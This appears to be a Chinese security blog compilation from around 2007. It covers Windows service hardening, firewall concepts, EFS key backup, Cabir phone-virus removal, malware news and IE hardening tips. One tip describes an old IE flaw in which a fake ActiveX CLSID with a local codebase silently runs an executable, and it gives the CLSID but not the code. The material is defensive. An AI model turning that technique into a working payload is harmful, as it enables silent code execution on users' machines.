Windows提供了许许多多的服务,其实有许多我们是根本也用不上的。或许你还不知道,有些服务正为居心叵测的人开启后门。

Windows还有许多服务,在此不做过多地介绍。大家可以根据自己实际情况禁止某些服务。禁用不必要的服务,除了可以减少安全隐患,还可以增加Windows运行速度,何乐而不为呢?

打补丁

Microsoft公司时不时就会在网上免费提供一些补丁,有时间可以去打打补丁。除了可以增强兼容性外,更重要的是堵上已发现的安全漏洞。建议有能力的朋友可以根据自己的实际情况根据情况打适合自己补丁。

防火墙

选择一款彻底隔离病毒的办法,物理隔离 Fortigate能够预防十多种黑客攻击,

分布式服务拒绝攻击DDOS(Distributed Denial-Of-Service attacks)

※SYN Attack

※ICMP Flood

※UDP Flood

IP碎片攻击(IP Fragmentation attacks)

※Ping of Death attack

※Tear Drop attack

※Land attack

端口扫描攻击(Port Scan Attacks)

IP源路由攻击(IP Source Attacks)

IP Spoofing Attacks

Address Sweep Attacks

WinNuke Attacks 您可以配置Fortigate在受到攻击时发送警告邮件给管理员,最多可以指定3个邮件接受人。

防火墙的根本手段是隔离,安装防火墙后必须对其进行必要的设置和时刻日志跟踪。这样才能发挥其最大的威力。而我们这里主要讲述防火墙概念以及与访问控制列表的联系。这里我综合了网上有关防火墙,访问控制表的定义。

防火墙概念

防火墙包含着一对矛盾(或称机制):一方面它限制数据流通,另一方面它又允许数据流通。由于网络的管理机制及安全策略(security policy)不同,因此这对矛盾呈现出不同的表现形式。

存在两种极端的情形:第一种是除了非允许不可的都被禁止,第二种是除了非禁止不可都被允许。第一种的特点是安全但不好用,第二种是好用但不安全,而多数防火墙都在两者之间采取折衷。

在确保防火墙安全或比较安全前提下提高访问效率是当前防火墙技术研究和实现的热点。

保护脆弱的服务

通过过滤不安全的服务,Firewall可以极大地提高网络安全和减少子网中主机的风险。例如,Firewall可以禁止NIS、NFS服务通过,Firewall同时可以拒绝源路由和ICMP重定向封包。

控制对系统的访问

Firewall可以提供对系统的访问控制。如允许从外部访问某些主机,同时禁止访问另外的主机。

集中的安全管理

Firewall对企业内部网实现集中的安全管理,在Firewall定义的安全规则可以运行于整个内部网络系统,而无须在内部网每台机器上分别设立安全策略。Firewall可以定义不同的认证方法,而不需要在每台机器上分别安装特定的认证软件。外部用户也只需要经过一次认证即可访问内部网。

增强的保密性

使用Firewall可以阻止攻击者获取攻击网络系统的有用信息,如Figer和DNS。

记录和统计网络利用数据以及非法使用数据

Firewall可以记录和统计通过Firewall的网络通讯,提供关于网络使用的统计数据,并且,Firewall可以提供统计数据,来判断可能的攻击和探测。

策略执行

Firewall提供了制定和执行网络安全策略的手段。未设置Firewall时,网络安全取决于每台主机的用户

防火墙的功能

防火墙是网络安全的屏障:一个防火墙(作为阻塞点、控制点)能极大地提高一个内部网络的安全性,并通过过滤不安全的服务而降低风险。防火墙可以强化网络安全策略:通过以防火墙为中心的安全方案配置,能将所有安全软件(如口令、加密、身份认证、审计等)配置在防火墙上。与将网络安全问题分散到各个主机上相比,防火墙的集中安全管理更经济。

对网络存取和访问进行监控审计:如果所有的访问都经过防火墙,那么,防火墙就能记录下这些访问并作出日志记录,同时也能提供网络使用情况的统计数据。当发生可疑动作时,防火墙能进行适当的报警,并提供网络是否受到监测和攻击的详细信息。

另外,收集一个网络的使用和误用情况也是非常重要的。

首先的理由是可以清楚防火墙是否能够抵挡攻击者的探测和攻击,并且清楚防火墙的控制是否充足。而网络使用统计对网络需求分析和威胁分析等而言也是非常重要的。

防止内部信息的外泄:

隐私是内部网络非常关心的问题.通过利用防火墙对内部网络的划分,可实现内部网重点网段的隔离,从而限制了局部重点或敏感网络安全问题对全局网络造成的影响。

除了安全作用,防火墙还支持具有Internet服务特性的企业内部网络技术体系VPN。通过VPN,将企事业单位在地域上分布在全世界各地的LAN或专用子网,有机地联成一个整体。不仅省去了专用通信线路,而且为信息共享提供了技术保障。

防火墙技术

防火墙能增强机构内部网络的安全性,必须只允许授权的数据通过,而且防火墙本身也必须能够免于渗透。

防火墙的五大功能

一般来说,防火墙具有以下几种功能:

1.允许网络管理员定义一个中心点来防止非法用户进入内部网络。

2.可以很方便地监视网络的安全性,并报警。

3.可以作为部署NAT(Network Address Translation,网络地址变换)的地点,利用NAT技术,将有限的IP地址动态或静态地与内部的IP地址对应起来,用来缓解地址空间短缺的问题。

4.是审计和记录Internet使用费用的一个最佳地点。网络管理员可以在此向管理部门提供Internet连接的费用情况,查出潜在的带宽瓶颈位置,并能够依据本机构的核算模式提供部门级的计费。

5.可以连接到一个单独的网段上,从物理上和内部网段隔开,并在此部署WWW服务器和FTP服务器,将其作为向外部发布内部信息的地点。从技术角度来讲,就是所谓的停火区(DMZ)。

防火墙的两大分类

1. 包过滤防火墙

第一代:静态包过滤

这种类型的防火墙根据定义好的过滤规则审查每个数据包,以便确定其是否与某一条包过滤规则匹配。过滤规则基于数据包的报头信息进行制订。报头信息中包括IP源地址、IP目标地址、传输协议(TCP、UDP、ICMP等等)、TCP/UDP目标端口、ICMP消息类型等。包过滤类型的防火墙要遵循的一条基本原则是"最小特权原则",即明确允许那些管理员希望通过的数据包,禁止其他的数据包。

第二代:动态包过滤

这种类型的防火墙采用动态设置包过滤规则的方法,避免了静态包过滤所具有的问题。这种技术后来发展成为所谓包状态监测(Stateful Inspection)技术。采用这种技术的防火墙对通过其建立的每一个连接都进行跟踪,并且根据需要可动态地在过滤规则中增加或更新条目。

2. 代理防火墙

第一代:代理防火墙

代理防火墙也叫应用层网关(Application Gateway)防火墙。这种防火墙通过一种代理(Proxy)技术参与到一个TCP连接的全过程。从内部发出的数据包经过这样的防火墙处理后,就好像是源于防火墙外部网卡一样,从而可以达到隐藏内部网结构的作用。这种类型的防火墙被网络安全专家和媒体公认为是最安全的防火墙。它的核心技术就是代理服务器技术。

代理类型防火墙的最突出的优点就是安全。

由于每一个内外网络之间的连接都要通过Proxy的介入和转换,通过专门为特定的服务如Http编写的安全化的应用程序进行处理,然后由防火墙本身提交请求和应答,没有给内外网络的计算机以任何直接会话的机会,从而避免了入侵者使用数据驱动类型的攻击方式入侵内部网。包过滤类型的防火墙是很难彻底避免这一漏洞的。

代理防火墙的最大缺点就是速度相对比较慢,当用户对内外网络网关的吞吐量要求比较高时,(比如要求达到75-100Mbps时)代理防火墙就会成为内外网络之间的瓶颈。所幸的是,目前用户接入Internet的速度一般都远低于这个数字。在现实环境中,要考虑使用包过滤类型防火墙来满足速度要求的情况,大部分是高速网(ATM或千兆位以太网等)之间的防火墙。

如何处理无法打开的EFS加密文件夹

如何处理无法打开的EFS加密文件夹

作者:smtk 来源:赛迪网安全社区

EFS(Encrypting File System,加密文件系统)是从Windows 2000开始就提出的一种基于NTFS文件系统的核心文件加密技术,主要是用于保护本地数据。在使用EFS加密文件的同时,也产生了诸多麻烦,比如重装系统后无法打开EFS加密过的文件夹等等,那么我们该如何解密?现在让我们先来看看大家的讨论。

备份及导入密钥来解密

  为了防止在重装系统后无法打开加密文件夹,我们可以通过下面的方法来备份及导入密钥:点击“开始→运行”,输入“certmgr.msc”,回车后打开证书管理器。展开“证书/个人/证书”,右键单击在右侧窗口中以用户名为名称的证书,在“所有任务”中选择“导出”打开证书导出向导。单击“下一步”之后选择“是,导出私钥”,单击“下一步”,选择默认导出文件格式,再单击“下一步”,输入保护密码和确认密码,单击“下一步”后指定文件名,最后单击“完成”即可。

  这样在重装系统之后,右键单击导出的私钥文件,选择“安装PFX”之后就可以一步一步导入私钥。导入完成后,就可以顺利地打开EFS加密的文件夹。

软件的方法不可靠

  在没有备份密钥的情况下,要对EFS解密几乎是不可能的,虽然网上流行很多种方法,但是可行性微乎其微,劝大家放弃。因为某些EFS使用的是公钥 证书对文件加密,而且在Windows 2000/XP中,每一个用户都使用了惟一的SID(安全标志)。第一次加密文件夹时,系统会根据加密者的SID生成该用户的密钥,并且会将公钥和密钥分开保存。如果在重装系统之前没有对当前的密钥进行备份,那就意味着无论如何都不可能生成此前的用户密钥,而解密文件不仅需要公钥,还需要密码,所以也就根本不能打开此前EFS加密过的文件夹。

总结

  通过各位的谈论,至少应该得出这样一个结论,在进行EFS加密后一定要进行证书备份。否则遇到特殊情况,那被加密过的文件夹就无法打开了。

如何共享Windows XP中的EFS加密文件

作者:smtk 来源:赛迪网安全社区

EFS作为一种安全性较高的加密方式一直深受大众的喜爱。但是在Windows XP以前,EFS加密是不支持共享的,这就意味着被加密的文件只能由加密操作者或安装了加密证书的用户查看,给网络上的共享造成一些不便。

  微软认识到了这个问题,在Windows XP Professional的EFS版本中,加入了共享的特性。要共享一个被EFS加密的文件,必须由系统管理员或文件加密操作者操作,否则会在操作过程中出错。具体操作步骤如下:

  1.用管理员组里面的账户或EFS加密创建者账户登录Windows,然后打开被加密的文件夹(因为EFS是对文件加密,不是对文件夹加密,所以其他用户也可以打开文件夹),右击要共享的被加密的文件,选择“属性”,打开文件属性对话框。

  2.在“常规”选项卡中点击“高级”按钮,在“高级属性”对话框里点击“详细信息”按钮;然后点击“添加”按钮,添加另外一个用户的EFS证书,在用户证书列表里面选择一个证书,然后点击“确定”按钮完成添加工作。

  注意:该证书只有在第一次使用EFS时才会被创建,因此要让别的用户能够查看被EFS加密的文件,必须先创建这个证书,也就是说其他用户必须先使用一次EFS加密。

  3.依次点击“确定”按钮,退出全部对话框即可完成EFS加密文件的共享操作。

  注意:

  1.以上操作在Windows XP Professional里面试验成功,Windows XP Home Edition不支持EFS,所以是无法操作的。

  2.执行前必须确认操作者对于被加密的文档具有写操作权限或修改权限(对于Office文档),否则执行过程中会出现错误。

  3.使用EFS以后,如果碰到需要重新安装操作系统、甚至是修复安装时,都必须事先备份加密证书,否则重新安装/修复安装完成以后,以前被加密的文件将无法打开。

  小知识:EFS是加密文件系统(Encrypting Files System)的英文缩写,是自Win 2000以来微软为了提高文件的安全特性在NTFS文件系统中引入的一种核心文件加密技术。EFS对加密该文件的用户是透明的,不必在使用前手动解密,可以正常打开和更改文件。

移动安全之手机病毒入侵的解决方法

移动安全之手机病毒入侵的解决方法

作者:smtk 来源:赛迪网安全社区

最近手机报道上听说过“卡比尔(cabir)” 病毒,这种病毒在手机上运行时,就会在开机时显示,“caribe"字样。因此,专家叫它“cabir”病毒,这种病毒利用蓝牙在运行symbian系统手机之间互相传染。中毒后手机会启动蓝牙功能对临近其他已打开蓝牙功能的手机进行搜索,发现后将病毒打包成为安全文件传到那部已开蓝牙功能的机器上。受染后,当手机开启时就会在屏幕上显示“caribe"字样,这种病毒可以修改symbian系统。

  正好的朋友的一台qd已染“卡比尔病毒”,现将解决办法与大家分享一下。希望能够帮到大家。



  第一步,将qd装入seleq软件;



  第二步,在c:盘c:\system\app下搜索caribe文件(不是所有的机器都能搜到该文件,一般未搜到该文件则是在病毒运行的时候并未开启蓝牙功能)



  第三步,删除c:system\symbiansecuredata\caribesecureitymanager\目录中的caribe.app;caribe.rsc和c:\system\recogs\下的flo.mdl文件。



  第四步,删除c:system\install\caribe.sis文件。



  在删除文件过程中,需要大家注意以下事项:

  1、当删完app文件后,其他文件无法删除的时候,需要将qd重新启动,方可删除。

  2、这时候删到install\caribe.sis文件则会提示“隐藏无法删除”,就算是重启也无法删除,这时候只需修改.sis文件的属性即可把隐藏关闭,然后删除。





  当上述所有的文件都删除后,“cabir”病毒就已经彻底清除干净。



 以上就是我个人清除“cabir”病毒的心得。如果大家有更好的方法,也请发上来,让我们一起讨论,捍卫手机的健康。

移动也安全之WAP手机上网防病毒攻略

作者:smtk 来源:赛迪网安全社区

随着WAP手机技术的日趋成熟,接入互联网轻松获得大量的信息已成为未来手机发展的必然趋势。而且随着配备Java功能的i模式手机登场,手机接入互联网更为便捷,势必会因此增加手机感染病毒的机会。由于通过网络直接对WAP手机进行攻击比对GSM手机进行攻击更加简便易行,WAP手机已经成为电脑黑客攻击的重要对象。

黑客对手机进行攻击,通常采用以下三种方式:一是攻击WAP服务器,使WAP手机无法接收正常信息;二是攻击和控制“网关”,向手机发送垃圾信息(严格地说,以上两种手机病毒还属于电脑病毒,不会破坏手机本身);三是直接攻击手机本身,使手机无法提供服务。新一代的WAP手机由于其功能的多元化,因此病毒带来的灾害也会更大。侵袭WAP手机的病毒可能会自动启动电话录音功能、自动拨打电话、删除手机上的档案内容,甚至会制造出金额庞大的电话账单。

要避免手机感染病毒,用户在使用手机时要采取适当的措施:

1、关闭乱码电话。当对方的电话拨入时,屏幕上显示的应该是来电电话号码,结果却显示别的字样或奇异符号。如果遇到上述情形,用户应不回答或立即把电话关闭。如接听来电,则会感染上病毒,同时机内所有新名词及设定将被破坏。

2、尽量少从网上下载信息。病毒要想侵入且在流动网络上传送,要先破坏掉手机短信息保护系统,这本非容易的事情。但随着3G时代的来临,手机更加趋向于一台小型电脑,有电脑病毒就会有手机病毒,因此从网上下载信息时要当心感染病毒。

3、注意短信息中可能存在的病毒。短信息的收发作为移动通讯的一个重要方式,也是感染手机病毒的一个重要途径。如今手机病毒的发展已经从潜伏期过渡到了破坏期,短信息已成为下毒的常用工具。手机用户一旦接到带有病毒的短信息,阅读后便会出现手机键盘被锁,甚至破坏手机IC卡等严重效果。

4、对手机进行查杀病毒。目前查杀手机病毒的主要技术措施有两种:一是通过无线网站对手机进行杀毒;二是通过手机的IC接入口或红外传输口进行杀毒。在i模式手机中,为了禁止非法利用该功能,可采取以下的安全性措施:(1)将执行Java小程序的内存和存贮电话簿等功能的内存分割开来,从而禁止小程序访问;(2)已经下载的Java小程序只能访问保存该小程序的服务器;(3)当小程序试图利用手机的硬件功能(如使用拨号功能打电话时)便会发出警告等。

手机病毒因手机网络联系密切,影响面广,破坏力强,故不可掉以轻心。但也不必因噎废食,只要做足防范措施,便可放心使用。

网络惊现真假hao123 劫持技术再次升级

网络惊现真假hao123 劫持技术再次升级

CNET中国·ZOL 【原创】 作者:中关村在线 泡泡鱼

3月1日,360安全卫士率先截获了4199的新变种,该流氓软件劫持了大量网站的域名,当被感染用户访问被劫持的网站域名时,电脑将会强制定向到一个IP地址为61.141.31.11的网站,经查这个页面完全和hao123.com相同的网站隶属于4199.com,由于此流氓软件采用了底层驱动技术,还导致感染电脑频繁出现蓝屏,死机等现象。针对此流氓软件,360安全卫士迅速采取行动,率先发布了专杀工具。

据360安全专家介绍,4199变种恶意程序具备三大技术特征:域名劫持,类似于钓鱼技术;利用FSD HOOK技术保护自己,很难彻底清除;DLL启动项加载,十分隐秘,无法察觉。安全专家进一步表示,4199危害性最大,最为恶劣的是采用了类似于“网络钓鱼”技术。和以往不同的是,该变种没有使用传统的hosts 劫持技术,而是直接利用驱动程序对多个浏览器进程直接篡改,因此用户无法通过查看hosts表的方法发现网站被劫持,而传统的反钓鱼手及恶意软件查杀工具不能对这种劫持报警。软件作者如果愿意,可以非常轻松的改变包括网络银行网址在内的网站地址,继而进行金融诈骗,给用户造成直接经济损失。

据悉,这是流氓软件灰色产业链的新趋势,以往的流氓软件通常采用在用户电脑中弹出广告的方式获利,这条灰色产业链在以360安全卫士为首的反流氓软件的联手打击下接近土崩瓦解。流氓软件开始采取这种隐秘性更高,更加疯狂的手段获利。

针对此款4199新变种,360安全卫士工程师表示:“我们有足够的能力来对付这种流氓软件的反扑。4199新变种采用了底层驱动技术来保护自己不被清除,但360安全卫士的独创的“破冰(Kill Defence)”技术正是此类流氓软件技术的克星。

360安全卫士工程师的技术追踪表明,该流氓软件的受益者是IP:61.141.31.11,而此IP正是此前不久大面积爆发的4199.com的IP地址。目前,此流氓软件会自动将包括其他几个恶意软件网站在内,多达55个网站重新定向。

针对4199变种,360安全中心应急发布了专杀工具,帮助网民对4199变种恶意软件进行查杀。在该专杀工具中使用了360安全卫士独有的“破冰技术”,其良好的对FSD HOOK等驱动级级恶意软件的操作能力和查杀效果将保证了该专杀工具的效果。网民可通过在360安全卫士中的“恶意软件专杀”选项中选择下载。

奇虎诉CNNIC名誉侵权 要求赔偿10万元

京华时报 【转载】 作者:孙思娅

因流氓软件,奇虎与中国科学院计算机网络信息中心(CNNIC)打起“口水战”,并延伸到了公堂。奇虎公司北京三际无限网络科技公司起诉CNNIC名誉侵权,要求对方公开道歉并赔偿10万元。昨天朝阳法院已正式受理此案。

奇虎诉称,2007年1月,CNNIC通过众多传媒发布了《追查恶意软件源头 质疑奇虎反流氓软件动机》、《CNNIC第二次声明:彻查恶意软件源头要求奇虎公布my123立案信息》、《CNNIC称北京市公安局至今未收到奇虎公司报案》等言论。声明中,奇虎被怀疑是恶意软件my123的幕后主使者,公司反流氓软件的动机也被质疑为炒作。

奇虎认为CNNIC没有任何依据,只凭怀疑就发了三次声明,损害他们的公司商誉,CNNIC作为中国互联网行业的管理者,已丧失了维护互联网行业秩序的公正立场。

昨天下午,中国科学院计算机网络信息中心一名不愿透露姓名的人士表示,信息中心目前没有收到传票,不会对此发表任何说法。

微软另一项Word漏洞可能导致零时攻击

作者:赛门铁克 来源:赛迪网

微软在2007年2月14日公布二月份信息安全更新,发布了12项安全性公告。以下摘要为赛门铁克安全响应中心就此次安全更新中最重要的两项问题做出的评估。

Microsoft Malware Protection Engine 的漏洞

赛门铁克安全响应中心将Microsoft Malware Protection Engine的漏洞,列为

本月安全性公告中影响最为严重的漏洞。该远程执行程序漏洞可能影响微软多项含有Microsoft Malware Protection Engine的产品,包括Windows Live OneCare、Microsoft Antigen 9.x、Microsoft Windows Defender、Microsoft ForeFront Security for Microsoft Exchange Server 1.x、以及 Microsoft ForeFront Security for SharePoint Server 1.x。

当微软防病毒用户在使用Microsoft Malware Protection Engine进行配置以允许电脑执行PDF文档时,就可能产生这个漏洞。这个漏洞之所以危急,是因为恶意的PDF档案可能会被置于网站上或通过电子邮件传送,然后在网关或到达电脑时通过受感染的防病毒引擎扫描,攻击者就可以成功利用该漏洞,完全控制受影响的电脑。

Microsoft Word的漏洞

同时,微软也针对Word中的多项漏洞发布修补程序,以修正与Trojan.Mdropper.T/W/X木马程序有关的零时(Zero- day) Word漏洞,这种木马程序企图对受害电脑植入额外的威胁。微软本次所发布的安全公告中,也包含用户端Word执行程序代码漏洞的修补程序,这项漏洞会因暗藏于文件中的恶意目标而造成影响。成功利用该漏洞的黑客可能在使用者登陆时,从远端执行任意程序代码。

赛门铁克安全响应中心产品群经理Vince Hwang经理表示:“赛门铁克长期追踪发现零时漏洞数量正呈现不断增加的趋势,而这个月Microsoft Word的漏洞也再度说明了这一趋势。由于黑客持续缩短从漏洞公布到利用漏洞发动攻击的时间差,赛门铁克建议不论是企业级用户还是消费者用户,都必须主动更新软件,并在第一时间安装修补程序。”

赛门铁克建议IT管理员采取以下措施:

·评估这些漏洞对重要系统可能造成的影响。

·规划必要的应对措施,包括采取适当的安全及可用性解决方案来部署更新修补程序,及执行最佳安全实务准则。

·采取主动式步骤以保护网络和咨询的完整性。

·确认企业拥有合适及有效的资料备份流程和安全设备。

·提醒用户谨慎开启所有来路不明的电子邮件附加档案,及连接来路不明或未被确认的网站。

赛门铁克建议家庭用户采取以下措施:

·定期执行Microsoft Update,并且安装最新的安全性更新程序,以保持软件处于最新状态。

·不要开启来路不明的电子邮件附加档案及连接来路不明或未被确认的网站。

·使用信息安全产品例如“诺顿网络安全大师2007中文版”,以免遭受已知和未知的安全威胁。

OneCare有漏洞 恶意软件可畅通无阻

作者:itzealot 来源:赛迪网IT博客

微软公司的Windows OneCare安全服务中的防火墙组件有漏洞。

在缺省配置下,防火墙软件能够使利用了JVM或有数字签名的应用软件连接到互联网上。McAfee旗下缺陷管理公司Foundstone的副总裁马克表示,OneCare防火墙中的缺省设置不是一个好主意。他在本周二接受采访时说,任何防火墙,任何安全设备的缺省配置都应当是“拒绝访问”,任何可能的门都应当是关闭的。

本周二,OneCare开发团队在自己的博客中回应了Foundstone的专家提出的问题,微软的一名代表证实了博客的内容。OneCare中的防火墙确实允许有数字签名或采用了JVM的应用软件通过,而不会向用户提出警告,但这不应当被认为是安全威胁。OneCare开发团队在博客中写道,恶意软件不大可能有数字签名,如果软件有数字签名,其开发者就可以很容易地被发现。

微软表示,封杀Java将导致许多应用软件无法正常运行。应用软件每次通过防火墙时都要求用户确认会给用户带来很大麻烦。OneCare开发团队在博客中写道,如果有利用了JVM的恶意软件感染了PC,它就会被OneCare的反病毒组件发现。

据Foundstone的安全顾问格利姆斯称,广告件和间谍件开发商通常会“签署”它们的软件,数字签名能够使它们的软件看起来更可信赖。格利姆斯在其博客中说,恶意代码已经在利用数字签名将自己安装在用户的PC上,它们肯定还会利用数字签名躲避OneCare服务的监测。

间谍件专家埃德曼也持同样的看法。他说,大多数恶意代码都有数字签名,获得数字签名相当地容易。这会使用户相信软件是安全的。 (t003)

微软无视UAC Vista爆出权限放大隐患

太平洋电脑网

作者:BlackWing

  一安全厂商发现Vista中存在一个“中等”威胁的隐患。

  eEye Digital的联合创始人Marc Maiffret表示,这个漏洞类似于缓存溢出问题,它是一个权限放大的bug。

  微软在上个月才修复了Vista中的反间谍软件Windows Defender的漏洞。而Maiffret指出,这次的新漏洞是在Vista系统当中,而不是在其集成的组件里面。

  黑客通过利用这一隐患能够使普通用户获得更高的系统权限,这样微软精心设计的UAC功能似乎显得多余了。Maiffret表示,之所以把这一隐患列为“中等”危害是因为它不支持远处控制。但他表示,要实现这一情况并不需花费太大力气。

  微软的发言人表示,研究人员目前正研究这一隐患。

星期三, 二月 28, 2007

网络安全之IE浏览器防黑秘技大曝光

网络安全之IE浏览器防黑秘技大曝光

作者:lvvl 来源:赛迪网技术社区

针对IE的恶意修改、攻击方法非常多,本文中介绍的十种反黑技巧,一定会对你有所帮助。

1.管理好Cookie

在IE6.0中,打开“工具”→“Internet选项”→“隐私”对话框,这里设定了“阻止所有Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六个级别(默认为“中”),你只要拖动滑块就可以方便地进行设定,而点击下方的“编辑”按钮,在“网站地址”中输入特定的网址,就可以将其设定为允许或拒绝它们使用Cookie。

2.禁用或限制使用Java程序及ActiveX控件

在网页中经常使用Java、Java Applet、ActiveX编写的脚本,它们可能会获取你的用户标识、IP地址,乃至口令,甚至会在你的机器上安装某些程序或进行其他操作,因此应对Java、Java小程序脚本、ActiveX控件和插件的使用进行限制。打开“Internet选项”→“安全”→“自定义级别”,就可以设置“ActiveX控件和插件”、“Java”、“脚本”、“下载”、“用户验证”以及其它安全选项。对于一些不太安全的控件或插件以及下载操作,应该予以禁止、限制,至少要进行提示。

3.防止泄露自己的信息

缺省条件下,用户在第一次使用Web地址、表单、表单的用户名和密码后,同意保存密码,在下一次再进入同样的Web页及输入密码时,只需输入开头部分,后面的就会自动完成,给用户带来了方便,但同时也留下了安全隐患,不过我们可以通过调整“自动完成”功能的设置来解决。设置方法如下:依次点击“Internet选项”→“内容”→“自动完成”,打开“自动完成设置”对话框,选中要使用的“自动完成”复选项。

提醒:为发安全起见,防止泄露自己的一些信息,应该定期清除历史记录,方法是在“自动完成设置”对话框中点击“清除表单”和“清除密码”按钮。

4.清除已浏览过的网址

在“Internet选项”对话框中的“常规”标签下单击历史记录区域的“清除历史记录”按钮即可。若只想清除部分记录,单击IE工具栏上的“历史”按钮,在左栏的地址历史记录中,找到希望清除的地址或其下网页,单击鼠标右键,从弹出的快捷菜单中选取“删除”。

5.清除已访问过的网页

为了加快浏览速度,IE会自动把你浏览过的网页保存在缓存文件夹“C:/Windows/Temporary Internet Files”下。当你确认不再需要浏览过的网页时,在此选中所有网页,删除即可。或者在“Internet选项”的“常规”标签下单击“Internet临时文件”项目中的“删除文件”按钮,在打开的“删除文件”对话框中选中“删除所有脱机内容”,单击“确定”,这种方法会遗留少许Cookie在文件夹内,为此IE6.0在“删除文件”按钮旁边增加了一个“删除Cookie”的按钮,通过它可以很方便地删除遗留的。

6.永远不怕IE主页地址被修改

众所周知,修改IE默认主页地址是恶意网页常用的一招。IE被修改后,会自动连接到恶意网页的地址。大家常用的方法是修改注册表,其实,只要简单给IE加个参数,就再也不害翴E主页地址被修改了。下面是具体的方法和步骤。

首先,打开“我的电脑”,找到IE的安装目录,这里假设你的IE安装在C:/Program FilesInternet Explorer下。进入该文件夹,找到Iexplore.exe文件,对着它点击鼠标右键,在弹出的快捷菜单中选择“发送到→桌面快捷方式”,这样就在桌面上建立了一个Iexplore.exe文件的快捷方式。如果你够仔细的话,你会发现你建立的这个快捷方式名字为“Iexplore.exe”,而桌面上原来的IE快捷方式名字为“Internet Explorer”,两者不仅名字不相同,而且“内涵”也不尽相同。

继续我们的工作,用鼠标右键单击该快捷方式,选择“属性”,会弹出“Iexplore.exe 属性”对话框,选择其中的“快捷方式”标签,然后在“目标”框里填入:"C:/Program Files/Internet Explorer/IEXPLORE.EXE" -nohome,给Iexplore.exe加上参数“-nohome”,输入时请大家注意在参数“-nohome”前面有一个空格,不要忘了,输入完毕。点击“确定”退出即可。

这样即使主页被修改也没有关系,打开IE就是一片空白,就连about:blank也不显示。而且这样能够加快启动速度,一点IE窗口马上就出蹦来了。

对于IE在安装时自己建立的快捷方式,我们无法为它加上上述参数。如果不信可以试试,用鼠标右键点击桌面上原来IE自建的快捷方式,选“属性”,会发现“目标”栏、“起始位置”栏、“快捷键”栏和“运行方式”栏都是灰色不可选取状态。这就是它们之间最大的不同!也是本文的关键所在。

7.挖出IE本地安全配置选项

在IE中可以通过点击“工具→Internet选项→安全”来设定电脑安全等级,之后会出现。从图中可以看出,在安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,惯于隐藏其部分功能的微软(真不知微软是怎么想的,老和我们玩“捉迷藏”游戏),在这里又留了一手:其实这里还有一个隐藏的选项——就是“我的电脑”的安全性设定,如果你想看到它,可以通过修改注册表的方法来达到目的。

下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“+”号顺次展开到:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet SettingsZones,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”,在这里你可以对IE的本地安全进行配置。

这个小技巧有什么用呢?把下面的代码保存为一个html文件,然后运行试试就知道了:

运行上面的html文件,会打开你的计算机中c:/winnt/system32文件夹下的calc.exe文件!而且IE没有任何提示!即使在IE的安全设置中禁用ActiveX控件上述代码也能工作!如果不是calc.exe文件而是其他恶意文件又会怎么样?如果是在你浏览的网页中含有类似上面的代码又会怎么样?真危险啊!

之所以会这样是由于IE存在两个可怕的漏洞:可本地执行任意命令,IE的ActiveX安全设置可被绕过。在上述代码中我们给IE指定了一个系统中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888),IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/winnt/system32/calc.exe,接着IE开始“下载”并安装该程序。由于calc.exe是EXE文件,这样就等于是在运行该文件,所以calc.exe就被运行了!

那么为什么IE在“下载安装控件”过程中不提示用户,也不应用IE安全设置中的限定进行检测呢?这就是IE的ActiveX安全设置可被绕过漏洞造成的!其主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。

解决的办法就是我们在开始说的那个技巧:挖出挖出IE本地安全配置选项,即修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。

8.在DOS下打开“Internet属性”窗口

有时在浏览了某些恶意网页后,会导致IE的“Internet属性”对话框无法打开,这时我们可以在DOS窗口下输入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打开IE的“Internet属性”对话框。要注意“Control_RunDLL”的大小写以及它前面的逗号(,)不要忘记了。RunDll32.exe是Windows动态链接库(DLL)管理工具,可以用来在命令行下执行动态链接库中的某个函数(或者功能模块)。

RunDll32的使用方法如下:RunDll32.EXE ,要注意以下几点:

(1)Dllname(就是制定DLL动态链接库所在位置和文件名)直接不能有空格;

(2)Dllname和entrypoint两者之间只能以“,”(逗号)分隔,逗号之后不能有空格,如果这里出错的话,你不会得到任何提示;

(3)optional arguments动态链接库调用参数,这个参数对大小写是很敏感的,注意不要写错。

9.解除IE的分级审查口令

有些时候,我们的IE会被人修改为设有分级审查口令,一旦被设置了分级审查口令,即使重新安装IE也是没有用的。怎么办呢?难道要格式化硬盘?千万不要!这里我有一个好办法,帮您解决这个问题。

进入注册表,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionpolicies\Ratings,这里有一个名为“key”的主键,这就是您设置的分级审查口令,直接将它删除即可。重新启动之后,点击“工具”→“Internet选项”→“内容”→“分级审查”,您会发现分级审查口令已经被复位了。现在您只要输入新的分级审查口令即可。

如果你用的是Windows 9x则更简单了,到C:\Windows\system目录里找到rating.pol文件,要注意这是一个隐藏文件,直接将它删除就可以解决问题了。

10. 预防网页恶意代码

许多恶意网页为防止有人查看其代码内容,采取了各种各样的方法求防止我们查看其源代码。然而,他们的一切努力也许都是白费心机。因为用如下的方法可以轻易地查看其源代码。只要在IE地址栏中输入View-Source:URL即可。举个例子,你想查看搜狐网站hxxp://www.juntuan.net的源代码,只要在IE地址栏中输入:View-Source:hxxp://www.juntuan.net,稍等一下就会弹出一个窗口,里面就是你想看到的网页源代码。赶快仔细看看,里面是否有更改注册表或暗中下载文件的恶意代码,如果有那就别进该网页了,很简单吧?这样做不仅可以学到别人的网页制作技术,更可以事先预防恶意代码,一举两得!

安全技巧 教你使用SSL给IIS加一把锁

作者:korn 来源:赛迪网技术社区

由于NT系统的易维护性,越来越多的中小企业在自己的网站上和内部办公管理系统上采用它,而且很多都是用默认的IIS来做WEB服务器使用。

